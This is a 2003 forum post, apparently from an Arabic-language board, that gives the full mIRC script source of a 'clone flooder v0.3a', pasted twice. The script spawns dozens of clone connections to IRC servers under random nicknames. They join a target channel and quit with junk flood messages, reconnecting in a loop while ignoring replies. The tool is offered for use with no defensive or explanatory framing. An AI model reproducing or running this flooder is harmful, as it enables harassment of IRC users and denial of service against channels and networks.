AL_MAR3OoB
07-29-2003, 08:02 PM
فلووووووووووووووود
alias x-clone {
if ($dialog(x-clone)) { dialog -ve x-clone }
else { dialog -dm x-clone x-clone }
}
alias -l _xc {
if (%_x.chk < $did(x-clone,15).text) {
sockopen $1-
}
}
alias -l _strip { return %_strip }
alias -l _rb { return $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) }
alias bling { return bling!@# }
alias owned { return ow n 3d ! @ # }
alias elite { return ! @# $ % ^& # @ #$ % }
alias rainbow { return 2©12,00©06,00©03,00©10,00©11,00©09,00©08,0
0©07,00©04,00©12,00©06,00©03,00©10,00©11,00
©09,00©08,00©07,00©04,00©12,00©06,00©03,00©
10,00©11,00©09,00©08,00©07,00©04,00©12,00©
06,00©03,00©10,00©11,00©09,00©08,00©07,00©0
4,00©12,00©06,00©03,00©10,00©11,00©09,00©08
,00©07,00©04,00©12,00©06,00©03,00©10,00© }
alias _xclone {
var %_xbots = $did(x-clone,15).text
if (%_x.chk < %_xbots) {
var %_x = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
_xc %_x $did(x-clone,11,%_x-clone).text 6667
}
else { .timer_xc 1 1 did -i x-clone 40 1 clone flood completed... | unset %_x* | sockclose x-* | return }
}
dialog x-clone {
title "clone flooder v0.3a"
size -1 -1 185 170
option dbu
text "servers" , 10 , 10 5 40 10 , right
combo 11 , 60 4 95 100 , drop sort
text "nickname prefix" , 12 , 10 15 40 10 , right
edit "" , 13 , 60 14 95 10 , autohs left
text "bots" , 14 , 10 25 40 10 , right
edit "" , 15 , 60 24 95 10 , left
text "flood msg" , 16 , 10 35 40 10 , right
edit "" , 17 , 60 34 95 10 , autohs left
text "target" , 30 , 10 45 40 10 , right
edit "" , 31 , 60 44 95 10 , autohs left
box "options" , 18 , 10 65 165 40
check "strip codes" , 19 , 20 75 45 10 , right
check "ignore ctcp's" , 20 , 70 75 45 10 , right
check "ignore notice's" , 21 , 120 75 45 10 , right
check "ignore msg's" , 22 , 20 90 45 10 , right
text "reset settings after" , 23 , 70 92 55 10 , left
edit "" , 24 , 120 91 15 10 , left
text "sec(s)" , 25 , 137 92 20 10 , left
edit "" , 40 , 10 110 165 30 , read autohs left multi vsbar
button "&start" , 50 , 75 145 30 20 , default
button "s&top" , 51 , 110 145 30 20 , default
button "&close" , 100 , 145 145 30 20 , ok
}
on *:dialog:x-clone:init:*: {
.enable #_linkcapture
unset %_x-clone %_x.chk
if ($server) { links }
did -o $dname 13 1 ToR
did -o $dname 15 1 90
did -o $dname 17 1 $str($elite,9) $+ $str($bling,9)
did -o $dname 31 1 $active
if ($_strip == on) { did -c $dname 19 }
if ($group(#_xctcp) == on) { did -c $dname 20 }
if ($group(#_xnotice) == on) { did -c $dname 21 }
if ($group(#_xmsg) == on) { did -c $dname 22 }
}
on *:dialog:x-clone:sclick:*: {
if ($did == 19) {
if ($_strip == $null) { .strip off | set %_strip off | return }
if ($_strip == off) { .strip +burcm | did -c $dname 19 | set %_strip on | return }
if ($_strip == on) { .strip -burcm | did -u $dname 19 | set %_strip off | return }
}
if ($did == 20) {
if ($group(#_xctcp) == on) { .disable #_xctcp | did -u $dname 20 | return }
if ($group(#_xctcp) == off) { .enable #_xctcp | did -c $dname 20 | return }
}
if ($did == 21) {
if ($group(#_xnotice) == on) { .disable #_xnotice | did -u $dname 21 | return }
if ($group(#_xnotice) == off) { .enable #_xnotice | did -c $dname 21 | return }
}
if ($did == 22) {
if ($group(#_xmsg) == on) { .disable #_xmsg | did -u $dname 22 | return }
if ($group(#_xmsg) == off) { .enable #_xmsg | did -c $dname 22 | return }
}
if ($did == 50) {
if (%_x-clone == $null) { set %_x-clone 1 | set %_x.chk 1 }
else { inc %_x-clone | inc %_x.chk }
if ($did(x-clone,11,%_x-clone).text == $null) { set %_x-clone 1 }
did -r x-clone 40
:go
if (%_x.chk < $did($dname,15).text) {
var %_xsock = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
_xc %_xsock $did(x-clone,11,%_x-clone).text 6667
did -i x-clone 40 1 %_x.chk %_x successfully connected...
inc %_x-clone
if ($did(x-clone,11,%_x-clone).text == $null) { set %_x-clone 1 }
inc %_x.chk
var %_xsock = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
_xc %_xsock $did(x-clone,11,%_x-clone).text $r(6667,6669)
goto go
}
}
if ($did == 51) {
if ($sock(x-*,0) > 0) { did -i $dname 40 1 clone flood stopped... }
sockclose x-*
if ($timer(_xc)) { .timer_xc off }
unset %_x*
}
}
on *:sockopen:x-*:{
if ($sockerr > 0) { return }
var %_x = $did(x-clone,13).text $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
sockwrite -nt $sockname nick $iif( $did(x-clone,13).text , %_x , x-clone )
.sockwrite -nt $sockname user $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $iif( $did(x-clone,13).text , %_x , x-clone ) . :x-clone flooder v0.3a
.sockwrite -nt $sockname join $did(x-clone,31).text
.sockwrite -nt $sockname QUIT $did(x-clone,17).text
; .sockwrite -nt $sockname NOTICE $did(x-clone,31).text : $+ $str($rainbow,2)
:go
var %_xsock = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
_xc %_xsock $did(x-clone,11,%_x-clone).text $r(6667,6669)
}
on *:sockread:x-*:{
if ($sockerr > 0) { goto go }
:x
sockread %_x
tokenize 32 %_x
if ($sockbr == 0) { goto go }
if ($1- == $null) { goto go }
if ($1 == ping && $2) { sockwrite -nt $sockname PONG $2- }
if ($1 == ERROR && banned isin $2-) {
.timer_xc 1 1 did -i x-clone 40 1 you got klined...
unset %_x.chk %_x-clone
halt
}
echo 4 -s $1-
goto x
:go
inc %_x-clone
if ($did(x-clone,11,%_x-clone).text == $null) { set %_x-clone 1 }
var %_xsock = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
sockopen %_xsock $did(x-clone,11,%_x-clone).text $r(6667,6669)
}
#_linkcapture off
raw 364:*: { did -i x-clone 11 1 $2 | haltdef }
raw 365:*: { .disable #_linkcapture | did -c x-clone 11 1 | haltdef }
#_linkcapture end
#_xctcp on
ctcp ^*:*:*: { .ignore -tu8 * | haltdef }
#_xctcp end
#_xnotice on
on ^*:notice:*:*: { .ignore -nu8 * | haltdef }
#_xnotice end
#_xmsg on
on ^*:text:*:*: { .ignore -pu8 * | haltdef }
#_xmsg end
menu channel {
-
floood{ x-clone }
}
alias x-clone {
if ($dialog(x-clone)) { dialog -ve x-clone }
else { dialog -dm x-clone x-clone }
}
alias -l _xc {
if (%_x.chk < $did(x-clone,15).text) {
sockopen $1-
}
}
alias -l _strip { return %_strip }
alias -l _rb { return $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) $+ $+ $r(0,15) $+ , $+ $r(0,15) $+ $r(A,Z) $+ $r(A,Z) $+ $r(A,Z) }
alias bling { return bling!@# }
alias owned { return ow n 3d ! @ # }
alias elite { return ! @# $ % ^& # @ #$ % }
alias rainbow { return 2©12,00©06,00©03,00©10,00©11,00©09,00©08,0
0©07,00©04,00©12,00©06,00©03,00©10,00©11,00
©09,00©08,00©07,00©04,00©12,00©06,00©03,00©
10,00©11,00©09,00©08,00©07,00©04,00©12,00©
06,00©03,00©10,00©11,00©09,00©08,00©07,00©0
4,00©12,00©06,00©03,00©10,00©11,00©09,00©08
,00©07,00©04,00©12,00©06,00©03,00©10,00© }
alias _xclone {
var %_xbots = $did(x-clone,15).text
if (%_x.chk < %_xbots) {
var %_x = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
_xc %_x $did(x-clone,11,%_x-clone).text 6667
}
else { .timer_xc 1 1 did -i x-clone 40 1 clone flood completed... | unset %_x* | sockclose x-* | return }
}
dialog x-clone {
title "clone flooder v0.3a"
size -1 -1 185 170
option dbu
text "servers" , 10 , 10 5 40 10 , right
combo 11 , 60 4 95 100 , drop sort
text "nickname prefix" , 12 , 10 15 40 10 , right
edit "" , 13 , 60 14 95 10 , autohs left
text "bots" , 14 , 10 25 40 10 , right
edit "" , 15 , 60 24 95 10 , left
text "flood msg" , 16 , 10 35 40 10 , right
edit "" , 17 , 60 34 95 10 , autohs left
text "target" , 30 , 10 45 40 10 , right
edit "" , 31 , 60 44 95 10 , autohs left
box "options" , 18 , 10 65 165 40
check "strip codes" , 19 , 20 75 45 10 , right
check "ignore ctcp's" , 20 , 70 75 45 10 , right
check "ignore notice's" , 21 , 120 75 45 10 , right
check "ignore msg's" , 22 , 20 90 45 10 , right
text "reset settings after" , 23 , 70 92 55 10 , left
edit "" , 24 , 120 91 15 10 , left
text "sec(s)" , 25 , 137 92 20 10 , left
edit "" , 40 , 10 110 165 30 , read autohs left multi vsbar
button "&start" , 50 , 75 145 30 20 , default
button "s&top" , 51 , 110 145 30 20 , default
button "&close" , 100 , 145 145 30 20 , ok
}
on *:dialog:x-clone:init:*: {
.enable #_linkcapture
unset %_x-clone %_x.chk
if ($server) { links }
did -o $dname 13 1 ToR
did -o $dname 15 1 90
did -o $dname 17 1 $str($elite,9) $+ $str($bling,9)
did -o $dname 31 1 $active
if ($_strip == on) { did -c $dname 19 }
if ($group(#_xctcp) == on) { did -c $dname 20 }
if ($group(#_xnotice) == on) { did -c $dname 21 }
if ($group(#_xmsg) == on) { did -c $dname 22 }
}
on *:dialog:x-clone:sclick:*: {
if ($did == 19) {
if ($_strip == $null) { .strip off | set %_strip off | return }
if ($_strip == off) { .strip +burcm | did -c $dname 19 | set %_strip on | return }
if ($_strip == on) { .strip -burcm | did -u $dname 19 | set %_strip off | return }
}
if ($did == 20) {
if ($group(#_xctcp) == on) { .disable #_xctcp | did -u $dname 20 | return }
if ($group(#_xctcp) == off) { .enable #_xctcp | did -c $dname 20 | return }
}
if ($did == 21) {
if ($group(#_xnotice) == on) { .disable #_xnotice | did -u $dname 21 | return }
if ($group(#_xnotice) == off) { .enable #_xnotice | did -c $dname 21 | return }
}
if ($did == 22) {
if ($group(#_xmsg) == on) { .disable #_xmsg | did -u $dname 22 | return }
if ($group(#_xmsg) == off) { .enable #_xmsg | did -c $dname 22 | return }
}
if ($did == 50) {
if (%_x-clone == $null) { set %_x-clone 1 | set %_x.chk 1 }
else { inc %_x-clone | inc %_x.chk }
if ($did(x-clone,11,%_x-clone).text == $null) { set %_x-clone 1 }
did -r x-clone 40
:go
if (%_x.chk < $did($dname,15).text) {
var %_xsock = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
_xc %_xsock $did(x-clone,11,%_x-clone).text 6667
did -i x-clone 40 1 %_x.chk %_x successfully connected...
inc %_x-clone
if ($did(x-clone,11,%_x-clone).text == $null) { set %_x-clone 1 }
inc %_x.chk
var %_xsock = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
_xc %_xsock $did(x-clone,11,%_x-clone).text $r(6667,6669)
goto go
}
}
if ($did == 51) {
if ($sock(x-*,0) > 0) { did -i $dname 40 1 clone flood stopped... }
sockclose x-*
if ($timer(_xc)) { .timer_xc off }
unset %_x*
}
}
on *:sockopen:x-*:{
if ($sockerr > 0) { return }
var %_x = $did(x-clone,13).text $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
sockwrite -nt $sockname nick $iif( $did(x-clone,13).text , %_x , x-clone )
.sockwrite -nt $sockname user $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $iif( $did(x-clone,13).text , %_x , x-clone ) . :x-clone flooder v0.3a
.sockwrite -nt $sockname join $did(x-clone,31).text
.sockwrite -nt $sockname QUIT $did(x-clone,17).text
; .sockwrite -nt $sockname NOTICE $did(x-clone,31).text : $+ $str($rainbow,2)
:go
var %_xsock = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
_xc %_xsock $did(x-clone,11,%_x-clone).text $r(6667,6669)
}
on *:sockread:x-*:{
if ($sockerr > 0) { goto go }
:x
sockread %_x
tokenize 32 %_x
if ($sockbr == 0) { goto go }
if ($1- == $null) { goto go }
if ($1 == ping && $2) { sockwrite -nt $sockname PONG $2- }
if ($1 == ERROR && banned isin $2-) {
.timer_xc 1 1 did -i x-clone 40 1 you got klined...
unset %_x.chk %_x-clone
halt
}
echo 4 -s $1-
goto x
:go
inc %_x-clone
if ($did(x-clone,11,%_x-clone).text == $null) { set %_x-clone 1 }
var %_xsock = x- $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(10,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
sockopen %_xsock $did(x-clone,11,%_x-clone).text $r(6667,6669)
}
#_linkcapture off
raw 364:*: { did -i x-clone 11 1 $2 | haltdef }
raw 365:*: { .disable #_linkcapture | did -c x-clone 11 1 | haltdef }
#_linkcapture end
#_xctcp on
ctcp ^*:*:*: { .ignore -tu8 * | haltdef }
#_xctcp end
#_xnotice on
on ^*:notice:*:*: { .ignore -nu8 * | haltdef }
#_xnotice end
#_xmsg on
on ^*:text:*:*: { .ignore -pu8 * | haltdef }
#_xmsg end
menu channel {
-
floood{ x-clone }
}